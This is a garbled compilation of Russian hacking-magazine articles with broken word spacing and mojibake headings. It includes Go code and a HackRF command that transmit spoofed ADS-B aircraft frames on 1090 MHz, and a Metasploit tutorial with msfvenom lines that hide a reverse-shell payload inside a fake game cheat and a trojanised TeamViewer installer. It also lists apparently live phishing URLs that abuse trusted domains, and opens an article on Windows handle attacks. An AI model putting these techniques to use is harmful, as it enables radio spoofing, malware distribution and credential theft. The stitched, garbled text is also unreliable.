      evenLat, evenLon := cpr.CprEncode(lat, lon, 0, surface)

 
 

log.Printf("[+] Encoded even frame lat [0x%02x] and lon [0x%02x]",
evenLat, evenLon)

// Odd
  log.Printf("[+] Encode odd frame with lat [%f] and lon [%f]", lat,

lon)
      oddLat, oddLon := cpr.CprEncode(lat, lon, 1, surface)

 
 

log.Printf("[+] Encoded odd frame lat [0x%02x] and lon [0x%02x]",
oddLat, oddLon)

При запус ке прог раммы закоди рован ные зна чения выводят ся в кон соль:

 

 

./main -altitude 9999.0 -icao 0xDEADBE -latitude 11.33 -longitude 11.22 
<...> 
2024/01/15 03:40:37 [+] Encode even frame with lat [11.330000] and lon 
[11.220000] 
2024/01/15 03:40:37 [+] Encoded even frame lat [0x1c6d4] and lon 
[0x19d86] 
2024/01/15 03:40:37 [+] Encode odd frame with lat [11.330000] and lon 
[11.220000] 
2024/01/15 03:40:37 [+] Encoded odd frame lat [0x1b6b6] and lon 
[0x18d91] 
<...>

Бай ты для обо их пакетов готовы, добав ляем их к нашему фрей му:

// Lat + Lot + Alt (even)
   dataEven = append(dataEven, byte((tc<<3)|(ss<<1)|nicsb))
   dataEven = append(dataEven, byte((encAlt>>4)&0xff))
   dataEven = append(dataEven, byte((encAlt&0xf)<<4|(time<<3)|(ff<<2)|(

evenLat>>15)))
   dataEven = append(dataEven, byte((evenLat>>7)&0xff))
   dataEven = append(dataEven, byte(((evenLat&0x7f)<<1)|(evenLon>>16)))
   dataEven = append(dataEven, byte((evenLon>>8)&0xff))
   dataEven = append(dataEven, byte((evenLon)&0xff))

Дан ные фрей ма готовы, оста лось дописать к ним кон троль ную сум му.

// Convert to hex
  var sbEven strings.Builder
      for _, b := range dataEven[:11] {

    sbEven.WriteString(fmt.Sprintf("%02x", b))
}

  dataEvenString := sbEven.String()
 log.Printf("[+] Even frame without CRC [%s]", dataEvenString)

// Calculate CRC
   dataEvenCRC := misc.Bin2int(crc.Crc(dataEvenString+"000000", true))

 log.Printf("[+] Even data CRC [%02x]", dataEvenCRC)

// Append CRC
   dataEven = append(dataEven, byte((dataEvenCRC>>16)&0xff))
   dataEven = append(dataEven, byte((dataEvenCRC>>8)&0xff))
   dataEven = append(dataEven, byte((dataEvenCRC)&0xff))

 log.Printf("[+] Even data [%02x]", dataEven)

Пос ле это го в тер минал вывалит ся пол ный фрейм Mode S, который мож но
исполь зовать как угод но: передать, декоди ровать онлайн или даже рас- 
печатать и повесить на стен ку.

 

 

2024/01/15 03:40:37 [+] Even data [8ddeadbe5837738da99d861b04b3] 
2024/01/15 03:40:37 [+] Odd data [8ddeadbe5837776d6d8d9121b103]

От отправ ки сиг нала нас отде ляет все го одна мелочь: нуж но смо дули ровать
наш сиг нал.

ÏÅÐÅÄÀ×À
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Что бы передать наши бай ты в эфир, нуж но пре обра зовать их в фор мат,
который пой мет HackRF. Фор мат очень прос той: нуж но закоди ровать все бай- 
ты в ком плексные чис ла и сох ранить их в файл.

Для ADS-B при меня ется ман честер ское кодиро вание, то есть еди ница
кодиру ется как , а ноль как . Что бы луч ше это понять, пос мотри на кар- 
тинку ниже.

01 10

Ко диро вание битов

То есть нуж но дво ичное пред став ление каж дого бай та закоди ровать по опи- 
сан ной выше схе ме — и дело в шля пе. Все это базовые опе рации с чис лами,
которые мож но лег ко сде лать на любом язы ке. Ниже — моя реали зация
на Go.

     func Frame1090esPpmModulate(even, odd []byte) []byte {
     var ppm []byte
           for i := 0; i < 48; i++ {

          ppm = append(ppm, 0)
   }

       ppm = append(ppm, 0xA1, 0x40)
         for _, byteVal := range even {

         word16 := misc.Packbits(manchesterEncode(^byteVal))
          ppm = append(ppm, word16[0])
          ppm = append(ppm, word16[1])

   }

           for i := 0; i < 100; i++ {
          ppm = append(ppm, 0)

   }

       ppm = append(ppm, 0xA1, 0x40)
         for _, byteVal := range odd {

         word16 := misc.Packbits(manchesterEncode(^byteVal))
          ppm = append(ppm, word16[0])
          ppm = append(ppm, word16[1])

   }

           for i := 0; i < 48; i++ {
          ppm = append(ppm, 0)

   }

    return ppm
}

Нуж но толь ко не забыть о наличии пре амбу лы — спе циаль ной пос ледова- 
тель нос ти битов в начале фрей ма, по которой при емник опре деля ет начало
сооб щения. В нашем слу чае это , что соот ветс тву ет пре амбу ле

Mode S.

0xA1 0х40

По лучен ные биты нуж но модули ровать в PPM. Как работа ет PPM и чем
отли чает ся от дру гих спо собов модуля ции, наг лядно вид но на кар тинке ниже.

PPM-модуля ция

Толь ко вот кодиро вать мы будем не ана лого вый сиг нал, а уже готовый циф- 
ровой, то есть пред став лять наш сиг нал в виде ком плексных чисел.
Углублять ся во все их тон кости мы сей час не ста нем, пос коль ку для наших
задач нуж но толь ко два таких чис ла, с которы ми мы даже не будем про изво- 
дить никаких рас четов. Ком плексное чис ло сос тоит из двух ком понент (I и Q),
которые для бита с высоким уров нем мы уста новим в мак сималь ное зна-
чение, а для низ кого — в минималь ное:

    func GenerateSDROutput(ppm []byte) []byte {
     bits := misc.Unpackbits(ppm)
     var signal []byte
         for _, bit := range bits {

          var I, Q byte
           if bit == 1 {

             I = byte(127)
             Q = byte(127)

       }
       else
       {

             I = 0
             Q = 0

       }
           signal = append(signal, I, Q)

   }

    return signal
}

Те перь записы ваем резуль тат в файл и получа ем наш завет ный 

.

Samples.
iq8s

Â ýôèð

Ну вот, теперь можешь выдыхать с облегче нием. Пос ле сбор ки тес тового
стен да, генера ции фай ла с сиг налом и нас трой ки все го обо рудо вания мы
наконец-то можем передать дан ные о нашем самоле те самим себе!

Вклю чаем при ем, как опи сано в начале, и переда ем сиг нал через HackRF:

 

 

~/P/ViralAir (main)> hackrf_transfer -t Samples.iq8s -f 1090000000 -s 
2000000 -x 47 -R 
call hackrf_set_sample_rate(2000000 Hz/2.000 MHz) 
call hackrf_set_hw_sync_mode(0) 
call hackrf_set_freq(1090000000 Hz/1090.000 MHz) 
Stop with Ctrl-C 
 3.9 MiB / 1.000 sec =  3.9 MiB/second, average power -6.5 dBfs 
 3.9 MiB / 1.000 sec =  3.9 MiB/second, average power -6.5 dBfs 
 3.9 MiB / 1.000 sec =  3.9 MiB/second, average power -6.5 dBfs 
 4.2 MiB / 1.000 sec =  4.2 MiB/second, average power -6.5 dBfs

Ар гумент  — это файл с сиг налом, который мы сге нери рова ли;  зада ет

час тоту переда чи (для ADS-B это 1090 МГц, или 1 090 000 000 Гц), а  —

час тоту дис кре тиза ции. Пос ледние два аргу мен та отве чают за мощ ность
переда чи и ее зацик ливание. Зачем зацик ливать? Ведь у нас все го два сооб- 
щения, и сра зу пос ле окон чания переда чи они про падут из окна .

-t -f
-s

dump1090
Да вай теперь взгля нем на при емник!

Вы вод dump1090

В таб лице виден наш самолет ! Он летит на высоте 9975 футов (ска- 

зыва ется неточ ность кодиро вания высоты), и его даже мож но най ти на кар те.

DEADBE

Пря мо сей час он летит за тобой где-то над Нигери ей.
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ВЗЛОМ

В этой статье мы погово рим о Metasploit
Framework (MSF) так, буд то ты о нем впер- 
вые слы шишь и хочешь разоб рать ся
с самого начала. Пос мотрим, что это вооб- 
ще такое и зачем нуж но, изу чим вхо дящие
в него инс тру мен ты и научим ся ими поль- 
зовать ся. В общем, это статья самого
началь ного уров ня, которых в «Хакере»
мно гим читате лям не хва тает.

Статья име ет озна коми тель ный харак тер и пред- 
назна чена для обу чения спе циалис тов
по безопас ности. Автор и редак ция не несут
ответс твен ности за любой вред, при чинен ный
с при мене нием изло жен ной информа ции. Рас-
простра нение вре донос ных прог рамм, наруше- 
ние работы сис тем и наруше ние тай ны перепис ки
прес леду ются по закону.

×ÒÎ ÒÀÊÎÅ METASPLOIT

Ес ли ты занимал ся прог рамми рова нием, то навер няка зна ешь, что фрей- 
мворк — это что-то вро де кар каса, на осно ве которо го мож но раз работать
про дукт. Но это не сов сем наш слу чай.

Да, Metasploit мож но допол нять, но глав ная его фиш ка в том, что это, счи- 
тай, готовый набор экс пло итов с удоб ной обо лоч кой. Запус каем, ищем нуж- 
ный нам экс пло ит, акти виру ем его, а даль ше — по ситу ации. Если он сра- 
ботал, то, счас тли вые, бежим повышать при виле гии или выкачи вать важ ные
дан ные. Если нет, то про буем дру гие полез ные наг рузки или ищем дру гой
экс пло ит. Под робнее об этом погово рим даль ше.

Сра зу ска жу, что Metasploit на сегод няшний день серь езно усту пает кон- 
курен там (PoshC2, Covenant, Sliver и дру гим). Слиш ком уж мно го в нем
накопи лось уста рев ших экс пло итов. Соот ветс твен но, и пен тестить с ним луч- 
ше все го уста рев шие при ложе ния. Но для обу чения Metasploit под ходит
отлично, поэто му с него и нач нем.

Лич но я исполь зую его по боль шей час ти для генера ции пей лоадов
с помощью msfvenom, об этом тоже погово рим даль ше.

На писан MSF на Ruby и вза имо дей ству ет с PostgreSQL. Эта инфа нам при- 
годит ся при запус ке.

ÇÀÏÓÑÊÀÅÌ MSF ÏÐÀÂÈËÜÍÎ

Пред положим, что ты работа ешь в Kali Linux, где MSF уже уста нов лен. Так же
нам понадо бит ся PostgreSQL.

# Если PostgreSQL не установлена
apt sudo install postgresql 

# Проверяем, работает ли
sudo service postgresql status 
# Запускаем
sudo systemctl start postgresql 
# Создаем базу данных для Metasploit
sudo msfdb init 

Ба за дан ных нам нуж на для управле ния рабочи ми прос транс тва ми.
Те перь запус каем сам Metasploit:

msfconsole 

Поз драв ляю, вот ты и в Metasploit! Пер вым делом набирай .help

Это все основные коман ды фрей мвор ка, советую по ним про бежать ся гла- 
зами.

Даль ше нам надо соз дать рабочее прос транс тво, имен но для него мы запус- 
кали PostgreSQL (а еще для того, что бы Metasploit быс трее запус кался).

# Отобразим текущее рабочее пространство (* default)
workspace 
# Добавим рабочее пространство под названием Lame
workspace -a Lame 
# Переключимся на него
workspace Lame 

Для чего нам рабочие прос транс тва? В пер вую оче редь — что бы во вре мя
работы не запутать ся. Целей быва ет мно го, и Metasploit будет хра нить полез- 
ную информа цию для каж дой из них. Нап ример, ска ны Nmap.

Кста ти, давай сра зу что-нибудь пос каним. Я выб рал в качес тве цели лабу
с Hack The Box под наз вани ем Lame.

   db_nmap -sC -sV -A -Pn 10.129.45.31 

Ви дим вот такой резуль тат.

Те перь вво дим коман ду .hosts
Что ж, основную инфу мы сох ранили. Теперь прой дем ся по струк туре

Metasploit.

ÑÒÐÓÊÒÓÐÀ METASPLOIT

Metasploit сос тоит из семи раз делов:
 — это, счи тай, кос тяк фрей мвор ка, он вклю чает в себя экс пло иты

на любой вкус и для любых плат форм. О том, как они хра нят ся и как их
искать, мы погово рим поз же;

• Exploits

 — вспо мога тель ные модули, слу жат не для экс плу ата ции, а ско- 

рее для обна руже ния уяз вимос тей, как при мер — Nmap;

• Auxiliary

 — пос тэкс плу ата ция. То есть, ког да сис тему уже ломану ли, можем

исполь зовать шту ки отсю да для работы с ней. По фак ту это тоже экс пло- 
иты, но для сис темы, к которой у нас есть дос туп;

• Post

 — полез ные наг рузки. Это не экс пло иты, а ско рее вре донос ный

код на все слу чаи жиз ни. Нап ример, для получе ния обратно го шел ла;

• Payloads

 — кодиров щики наг рузок. Приз ваны скрыть факт про ник- 
новения от анти виру са или обой ти служ бы безопас ности;

• Encoders

 — модули из это го раз дела зас тавля ют про цес сор ничего не делать

в течение какого-то вре мени;

• Nops

 — укло нение от детек та. Сюда вхо дят раз ные трю ки для обхо да

Microsoft Defender, фай рво лов и про чих защит Windows. Я этот модуль
не буду рас смат ривать, так как тема уже не сов сем для нович ков.

• Evasion

Мо дули здесь стро го струк туриро ваны. Нап ример, рас смот рим рас положе- 
ние модуля, который нам пот ребу ется для взло ма Lame.

Важ ная ремар ка: multi — зна чит для любой сис темы (если толь ко для вин ды,
будет windows, для Unix — unix и так далее).

Преж де чем читать даль ше, тебе нуж но выпол нить прос тое задание:

cd /usr/share/metasploit-framework 

В Kali это дефол тная пап ка Metasploit. Заходи в нее и про буй походить по раз- 
делам и осво ить ся со струк турой. Это потом при годит ся.

Но вер немся к самому Metasploit. Пер вая коман да, о которой нуж но
знать, — это . Даль ше прос то вби ваем нуж ное нам наз вание. У этой
коман ды есть допол нитель ные парамет ры, про бежим ся по самым важ ным
из них:

search

 — из какого раз дела взять модуль;• type

 — поиск по базе CVE;• cve

 — для какой плат формы нужен экс пло ит.• platform

Нап ример, ищем экс пло иты для Samba, получив шие CVE в 2007 году:

search type:exploit cve:2007 samba 

Под робнее о воз можнос тях поис ка можешь узнать, наб рав .search -h

ÝÊÑÏËÓÀÒÀÖÈß

Нас тало вре мя что-нибудь попен тестить! Впро чем, не что-нибудь, а все ту же
машину Lame с Hack The Box, о которой я уже говорил. В этой лабе при сутс- 
тву ет уяз вимость CVE-2007-2447. Давай ее для начала най дем:

search CVE-2007-2447 

Что бы начать работать с модулем, тебе нуж но выпол нить коман ду .use

use 0 

Здесь 0 — это поряд ковый номер в спис ке вывода коман ды search.
Мож но еще выб рать модуль вот такой коман дой:

use exploit/multi/samba/usermap_script 

В качес тве парамет ра ука зан пол ный путь до экс пло ита.
Пер вое, что ты дол жен сде лать пос ле того, как перешел к модулю, — наб- 

рать коман ду . Она отоб ража ет базовую информа цию о модуле. Далее

мы начина ем работать с самим модулем. Пишем

info

show options 

Это покажет основные нас трой ки модуля.

Да вай раз берем ся, что это вооб ще за парамет ры:
 — сюда будем встав лять апиш ник жер твы;• RHOSTS

 — порт, который мы ата куем;• RPORT

 — наг рузка, которая будет исполь зовать ся. Обыч но задана
дефол тная, но иног да нуж но будет менять;

• Payload

 — наш локаль ный хост, куда будет при ходить отстук;• LHOST

 — порт, на который при дет отстук.• LPORT

Что бы выс тавить какой-то из парамет ров, нуж но ввес ти коман ду

 set [параметр] значение 

Нап ример:

set RHOSTS 10.129.45.31 

Еще сра зу запом ни коман ду , она показы вает наг рузки,
которые мож но при менять с выб ранным модулем. То есть мы можем
поменять дефол тный пей лоад на тот, который захотим (разуме ется, если он
ком биниру ется). Нап ример:

show payloads

set PAYLOAD payload/cmd/unix/reverse_python 

В нашем слу чае этот пей лоад не сра бота ет, я показал его как при мер. Ста вим
пре дыду щую наг рузку:

set PAYLOAD payload/cmd/unix/reverse_netcat 

Те перь перед запус ком прог раммы переп роверя ем все парамет ры:

show options 

Уч ти, что в некото рых экс пло итах будет мало
прос то ука зать  и .RHOSTS LHOST

Па рамет ры кор рек тны, зна чит, мож но запус кать!
Пи шем  или .run exploit

Всё, мы внут ри!
Ка залось бы, тут мож но и закон чить статью. Но у Metasploit есть еще нес- 

коль ко очень инте рес ных фич.

ÑÅÑÑÈÈ

Что бы сох ранить сес сию в бэк гра унд, можешь нажать Ctrl-Z. А что бы про- 
верить ее, вве ди коман ду .sessions

Что бы вер нуть ся к сес сии, пиши .sessions -i [ID нужной сессии]

 3 sessions -i

Сес сии при годят ся тебе при работе с модуля ми из раз дела POST. Пред- 
положим, у нас есть сес сия с ID 10 и нам нуж но най ти всех поль зовате лей
на машине с Linux:

use post/linux/gather/enum_users_history 
set session 10 
show options 

Всё кор рек тно, мож но запус кать: .run

ÏÅÉËÎÀÄÛ STAGED È NON-STAGED

Бы ло бы прес тупле нием не упо мянуть типы пей лоадов. Их тут два:
staged — содер жит весь код наг рузки, ну нап ример, весь код реверс-шел- 
ла;

•

non-staged — тут гораз до инте рес нее, такой пей лоад содер жит код,
который сам заг ружа ет полез ную наг рузку на хост.

•

Пей лоады типа non-staged поз воля ют куда лег че обхо дить анти виру сы и фай- 
рво лы, потому что их раз мер зна читель но мень ше и они не содер жат сам код
злов реда.

METERPRETER

Это вер сия коман дной обо лоч ки Metasploit, но пред назна чен ная для заг рузки
на машину-жер тву. Нап ример, с ее помощью мож но дам пить пароли, под гру- 
жать и эксфиль тро вать фай лы, сниф фить, запус кать исполня емые фай лы
и еще мно го чего весело го. Так же ее труд но обна ружить стан дар тны ми
средс тва ми защиты.

Для начала советую запом нить нес коль ко команд, которые при годят ся
при работе с Meterpreter:

 — выводит все основные коман ды Meterpreter;• help

 — запус кает скрипт Meterpreter;• run <scriptname>

 — заг ружа ет файл на ата куемую машину;• upload <filename>

 — ска чива ет файл с ата куемой машины;• download <filename>

 — акти виру ет обыч ную коман дную обо лоч ку;• shell

 — выпол няет коман ду на целевой сис теме;• execute

 — вывод всех про цес сов;• ps

 — инфа о сис теме, на которую мы заб рались;• sysinfo

 — отоб ража ет поль зовате ля, от име ни которо го запущен
Metasploit.

• getuid

MSFVENOM

Ну и наконец, погово рим о msfvenom. Это тул за для генера ции пей лоадов (к
сло ву, очень удоб ная). Нап ример, нуж но нам сге нерить бинар ный
реверс-шелл для Linux. Дела ется это так:

msfvenom -p linux/x86/meterpreter/reverse_tcp \
        LHOST=<твой_IP> LPORT=<твой_порт> \

 elf         -f -o CheatNaBrawlStars.elf -e x86/shikata_ga_nai 

msfvenom -p linux/x86/meterpreter/reverse_tcp \
        LHOST=<твой_IP> LPORT=<твой_порт> \

         -x \~/Downloads/TeamViewer_Setup.exe \
 x86         -e x86/shikata_ga_nai -a \

        --platform windows \
 100         -o TeamViewer_Setup.exe -i

Прой дем ся по парамет рам:
 — пей лоад;• -p

 — рас ширение фай ла;• -f

 — наз вание фай ла;• -o

 — шиф рование, обфуска ция или кодиров ка;• -e

 — путь к исполня емо му фай лу, он будет взят как осно ва для сос тавле- 
ния пей лоада, и это понизит веро ятность обна руже ния в нес коль ко раз;

• -x

 — архи тек тура, под которую будет соз дан пей лоад;• -a

 — плат форма, под которую будет соз дан пей лоад.• --platform

ÂÛÂÎÄÛ

На этом наш крат кий экскурс закон чен, не забудь сох ранить рабочее прос- 
транс тво:

 xml db_export -f -a /путь/к/файлу.xml 

На пос ледок — неболь шой спи сок лег ких машинок с Hack The Box для отра- 
бот ки навыков: Lame, Legacy, Optimum, Arctik и Blue.

https://t.me/Logovo_Sphinxa
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ВЗЛОМ

Что такое фишинг, зна ет и стар и млад,
но поль зовате ли все рав но про дол жают
попадать ся на улов ки зло умыш ленни ков.
В этой статье мы рас смот рим фишин говые
ссыл ки, а точ нее, спо собы их мас киров ки
с исполь зовани ем офи циаль ных сай тов
извес тных ком паний и сер висов.

В информа цион ных целях эта статья содер жит
ссыл ки на мошен ничес кие ресур сы, при чем
некото рые из них еще работа ют. Текст статьи
дос тупен толь ко под писчи кам «Хакера». Если все
же собира ешь ся посещать эти сай ты, не вво ди
никакие лич ные дан ные в рас положен ные там
фор мы.

От кры тым редирек том в «1С-Бит рикс» уже никого не уди вишь. Давай луч ше
рас смот рим, как кибер прес тупни ки умуд ряют ся исполь зовать archive.org,
evernote.com, bing.com, microsoft.com, adobe.com и дру гие трас товые домены
для того, что бы обма нуть довер чивых поль зовате лей.

Ес ли эту статью чита ют спе циалис ты по информа цион ной безопас ности,
рекомен дую им про верить, как на подоб ные ссыл ки будут реаги ровать поль- 
зовате ли. Ведь обыч но их учат раз личать подоз ритель ную ссыл ку в пись ме,
но мало кто про веря ет, на каком имен но сай те его про сят ввес ти свои учет- 
ные дан ные пос ле перехо да. По этой же при чине статья будет полез на и пен- 
тесте рам. Ведь это удоб но: не нуж но регис три ровать домен ,

если вмес то него мож но исполь зовать под домен на офи циаль ном
outlook.com.

0utl00k.com

ÑÅÐÂÈÑÛ ÄËß ØÅÐÈÍÃÀ ÔÀÉËÎÂ

Нач нем с фишин говой ссыл ки, нацелен ной на кра жу учет ных дан ных
от Outlook, c легитим ным под доменом indd.adobe.com:

хttps://indd.adobe.com/view/f894dec3-4cc0-4077-954c-d72b229dfc54 

Про токол HTTPS во всех ссыл ках намерен но
заменен несущес тву ющим XTTPS.

При перехо де по ссыл ке мы сна чала попада ем на стра ницу-прок ладку.

Есть и дру гой вари ант.

Пос ле нажатия на кноп ку нас про веря ют с исполь зовани ем Cloudare.

И лишь пос ле это го мы попада ем на клас сичес кую фишин говую фор му.

Сле дующий вари ант мошен ничес кого сооб щения исполь зует легитим ный
сер вис для отправ ки вло жений в виде ссыл ки. Жер тва получа ет подоб ную
ссыл ку:

xttps://docsend.com/view/z4zk3d6c8wsnyppt 

При перехо де по ней авто мати чес ки заг ружа ется HTML-файл вот такого
содер жания.

ÐÅÊËÀÌÍÛÅ ÑÅÒÈ

А вот ссыл ка, соз данная с помощью рек ламно го сер виса Google. Всю ссыл ку
копиро вать не буду, она о-о-очень длин ная, но ее смысл будет понятен, если
вни матель но пос мотреть и на сок ращен ный вари ант:

https://googleads.g.doubleclick.net/dbm/clk?sa=L&ai=CCsUXxuNtZbXQGI-
Q7gPhv6PQCqO55c50zMHcpYwQr4G649cCEAEgjr2eHGCVgoCAmAegAayyj6AByAEJqAMB
yAObBKoEhg... 

Пос ле перехо да по ссыл ке нас так же про веря ют на бота с исполь зовани ем
Cloudare, затем выпол няет ся редирект на фишин говую фор му Microsoft.

ÑÅÐÂÈÑÛ ÎÏÐÎÑÎÂ

В сле дующем слу чае Microsoft сам помога ет «сфи шить» акка унт от сво его же
сер виса. Поль зовате лю отправ ляют ссыл ку на сер вис для про веде ния опро- 
сов Dynamic 365 Customer Voice:

xttps://ncv.microsoft.com/Xd4E8g0inD 

Пос ле перехо да по ссыл ке попада ем на стра ницу сер виса.

На этой стра нице мы видим дру гую ссыл ку, ведущую на про вер ку в исполне- 
нии Cloudare. И вот уже перед нами фишин говая фор ма в сти ле Microsoft.

Та кая ата ка впер вые зас ветилась в августе 2022 года, но этот спо соб фишин- 
га про дол жают экс плу ати ровать и в декаб ре 2023-го.

ÂÅÁ-ÏÐÈËÎÆÅÍÈÅ

В статье «
» мы рас смат ривали, на каких доменах могут раз мещать ся вре- 

донос ные ресур сы, поэто му под домена ми на легитим ных сай тах нас уже
не уди вить. Но мимо фишин гового сай та, ими тиру юще го исконно рос сий ский
сер вис, я прой ти не смог:

Ис кусс тво мас киров ки. Как мошен ники пря чут свои сай ты
в интерне те

xttps://glen-sulky-angora.glitch.me/ 

В дан ном слу чае зло умыш ленник исполь зовал сер вис для соз дания веб-при- 
ложе ний, что бы раз местить свою вре донос ную наг рузку для всех жела ющих
потерять учет ку на сай те mail.ru.

ÏÎÈÑÊÎÂÛÅ ÑÈÑÒÅÌÛ

А вот так исполь зуют Bing для обхо да пер вичных филь тров меж сетево го экра- 
на (конеч но, если bing.com не занесен у тебя в чер ный спи сок):

xttps://www.bing.com/ck/a?!&&
p=eaab4245dac9a54dJmltdHM9MTcwMTk5MzYwMCZpZ3VpZD0xMmIyMDE0YS1lOTQyLTZ
hZjItMGI0YS0xMmFiZTg4ODZiOTUmaW5zaWQ9NTEzNQ&
ptn=3&ver=2&hsh=3&fclid=12b2014a-e942-6af2-0b4a-12abe8886b95&
u=a1aHR0cDovL2ZyZWVkb21zcGVha3NjYXJlLmNvbS9yZWdpc3RyYXRpb24v#evil@hac
ker.
com 

Пе рехо дим по ссыл ке и попада ем на фишин говый ресурс.

AMP-ÑÒÐÀÍÈÖÛ

В сле дующем при мере тех нология AMP от Google помога ет зло умыш ленни ку
закеши ровать свою стра ницу, а потом рас сылать фишин говую ссыл ку ничего
не подоз рева ющим поль зовате лям:

xttps://www.google.com/amp/s/pub-2cccc10251dd4525b4619dce6ade915b.r2.
dev/owatelegram.html#aXJpcy5uZXVzc25lckB3aW5rbGVyc2NodWxiZWRhcmYuY29t 

Че рез редирект ссыл ка ведет на фишин говую стра ницу Outlook.

ÏÎ×ÒÎÂÛÅ ÑÅÐÂÈÑÛ

Ссыл ка слиш ком длин ная, я опуб ликую лишь ее часть, но оче вид но, что
Outlook спо собс тву ет рас простра нению фишин га, оставляя воз можность
подоб ных редирек тов:

xttps://nam02.safelinks.protection.outlook.com/?url=https%3A%2F%2Fp.
feedblitz.com%2Ft3.asp%3F%2F1081591%2F102442729%2F7821567_%2F~feeds.
feedblitz.com%2F~%2Ft%2F0%2F0%2Fsethsblog%2Fposts%2F~%2F%2Fr20.rs6.
net%2Ftn.
jsp%3Ff%3D001vFHMoPyMo0WrLNfpX5KrbtnufSjk2FOwtHR22KMN3Rk2jm9egqQ... 

У поль зовате лей Office 365 подоз ритель ные ссыл ки в элек трон ных пись мах
заменя ются ссыл ками вида 

: то, что нуж но для зло умыш ленни ка, что бы отпра вить себе ссыл ку!
Outlook ее замас киру ет под легитим ную, и пос ле это го ее мож но выс лать
жер тве.

https://*.safelinks.protection.outlook.
com/*

В пред став ленном при мере инте рес но то, что пос ле нес коль ких редирек- 
тов мы попада ем на фор му авто риза ции яко бы от Microsoft c пред запол- 
ненным адре сом .robin_kiziak@vfc.com

Од нако пос ле это го нас пере адре совы вает на фор му уже с логоти пом ком- 
пании жер твы.

Скрипт зло умыш ленни ка чека ет при над лежность поч ты 

 к сер висам Microsoft и в слу чае успе ха под качива ет логотип ата куемой

ком пании для боль шей прав доподоб ности. Наде юсь, Робин не попал ся
на фишинг, а мы дви гаем ся даль ше.

robin_kiziak@vfc.
com

ÑÅÐÂÈÑÛ ÄËß ÑÎÂÌÅÑÒÍÎÉ ÐÀÁÎÒÛ

Вот таким докумен том на днях поделил ся «кол лега-хакер» с довер чивыми
поль зовате лями:

xttps://share.nuclino.com/p/Hangar-38-NQPTdHWF_sOk8OLF47mDEm 

От крыв ссыл ку в докумен те, мы попада ем на уже при выч ную фишин говую
фор му в сти лис тике Microsoft.

ÑÅÐÂÈÑÛ ÄËß ÂÈÇÓÀËÈÇÀÖÈÈ ÄÀÍÍÛÕ

Здесь зло умыш ленник исполь зовал сер вис Looker Studio от Google:

xttps://lookerstudio.google.com/s/inARhcBTd642 

По ссыл ке мы сно ва попада ем на фор му яко бы от кор порации Microsoft, толь- 
ко теперь зло умыш ленник был ленивый и не вста вил прок ладку в виде
Cloudare.

ÑÅÐÂÈÑÛ ÄËß ÇÀÌÅÒÎÊ

Вот так Evernote помога ет соз дать ссыл ку на любой интернет-ресурс —
разуме ется, и на фишин говый тоже:

xttps://www.evernote.com/shard/s429/client/snv?isnewsnv=true&noteGuid
=edcd788b-1388-90b4-3dbe-6a4c1d0839fc&noteKey=
2C0bc4FotYyqz224bXZZxtFnmB8_uLv4JKgimuZDrpC4ldrauOW4KhjldQ&sn=
https%3A%2F%2Fwww.evernote.com%2Fshard%2Fs429%2Fsh%2Fedcd788b-1388-
90b4-3dbe-6a4c1d0839fc%2F2C0bc4FotYyqz224bXZZxtFnmB8_
uLv4JKgimuZDrpC4ldrauOW4KhjldQ&title=
Sylvie%2BDUPONT%2Ba%2Bpartag%25C3%25A9%2Bun%2Bdocument%2Bvia%2BOneDri
ve 

По пада ем на легитим ную стра ницу-прок ладку, которая содер жит ссыл ку
на фишин говый сайт.

INTERNET ARCHIVE

Сле дующий при мер фишин га исполь зует в сво их ковар ных целях популяр ный
сер вис Internet Archive:

xttps://ia601207.us.archive.org/17/items/Lnkdsof/Lnkdsof.shtml 

ÍÀÏÎÑËÅÄÎÊ

Не рек ламы ради, а для прос вещения — тысячи дру гих при меров фишин га (и
не толь ко) ты можешь най ти в инте рак тивной служ бе поис ка вре донос ных
прог рамм .https://any.run

Бес плат ной вер сии впол не дос таточ но, что бы, помимо фишин говых сай тов,
отыс кать и ска чать пос леднюю вер сию экзо тичес кого шиф роваль щика
или изу чить, какие учеб ные ата ки про водят безопас ники в рам ках мероп- 
риятий по повыше нию осве дом леннос ти.

https://xakep.ru/2021/09/09/phishing-domains/
https://any.run/
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ВЗЛОМ

В Windows все вза имо дей ствие прог рам- 
мно го кода с сис темой пос тро ено на хен- 
длах. Мож но ата ковать ком понен ты сис- 
темы, ковырять ядро, но что, если ата ковать
сами дес крип торы? В этой статье я разоб- 
рал нес коль ко вари антов атак на них.

Хен длы (они же дес крип торы) в Windows — это один из важ ных кам ней в фун- 
дамен те сис темы. На хен длах пос тро ено и осно выва ется все вза имо дей ствие
из прог рам мно го кода с ком понен тами Windows. Имен но бла года ря дес крип- 
торам ядро понима ет, к какому объ екту мы хотим обра тить ся и с каким уров- 
нем дос тупа. Хендл обыч но мож но получить с помощью стан дар тных фун кций.
На файл — через , на LSA — через . В Windows
очень мно го раз ных объ ектов, с которы ми мож но вза имо дей ство вать. Ты
можешь открыть , ткнуть на любой инте ресу ющий ком понент
и убе дить ся, что самой основной и важ ной апи хой будет API для получе ния
хен дла на нуж ный объ ект. Не получил хендл — не смог вза имо дей ство вать
с сис темой.

CreateFile() LsaOpenPolicy()

спи сок WinAPI

Зна ешь ли ты, что есть ата ки и на сами хен длы?

Статья име ет озна коми тель ный харак тер и пред- 
назна чена для спе циалис тов по безопас ности,
про водя щих тес тирова ние в рам ках кон трак та.
Автор и редак ция не несут ответс твен ности
за любой вред, при чинен ный с при мене нием
изло жен ной информа ции. Рас простра нение вре- 
донос ных прог рамм, наруше ние работы сис тем
и наруше ние тай ны перепис ки прес леду ются
по закону.

ÈÍÒÅÐÅÑÍÛÅ ÕÅÍÄËÛ

Во-пер вых, сле дует опре делить ся с тем, что мы ищем. Нас инте ресу ют
далеко не все хен длы. Конеч но, при ори тет нее все го про цес сы и потоки. Вза- 
имо дей ствие с ними поз волит запус тить шелл-код. Впро чем, тут опять не все
так глад ко. Получен ный хендл дол жен иметь хотя бы пра во 

(для про цес са) или  (для потока). Кста ти, нам подой дут
и хен длы на сек ции памяти и — в исклю читель ных слу чаях — на кон крет ные
фай лы или клю чи реес тра.

PROCESS_VM_WRITE
THREAD_SET_CONTEXT

ÈÇÓ×ÅÍÈÅ ÕÅÍÄËÎÂ ÏÐÎÖÅÑÑÀ

Пе ред тем как прис тупить, можем гля нуть хен длы кон крет ных про цес сов
в сис теме. Это поз волит наметить даль нейший век тор раз вития ата ки. Удоб- 
нее все го, как мне кажет ся, исполь зовать ути литу .Process Hacker

Изу чение хен длов про цес са

Есть так же  и , но я ими поль зовал ся не очень мно- 
го.

System Explorer Sysinternals

Вы вод инс тру мен та Handle из пакета Sysinternals

Продолжение статьи →

https://t.me/Michaelzhm
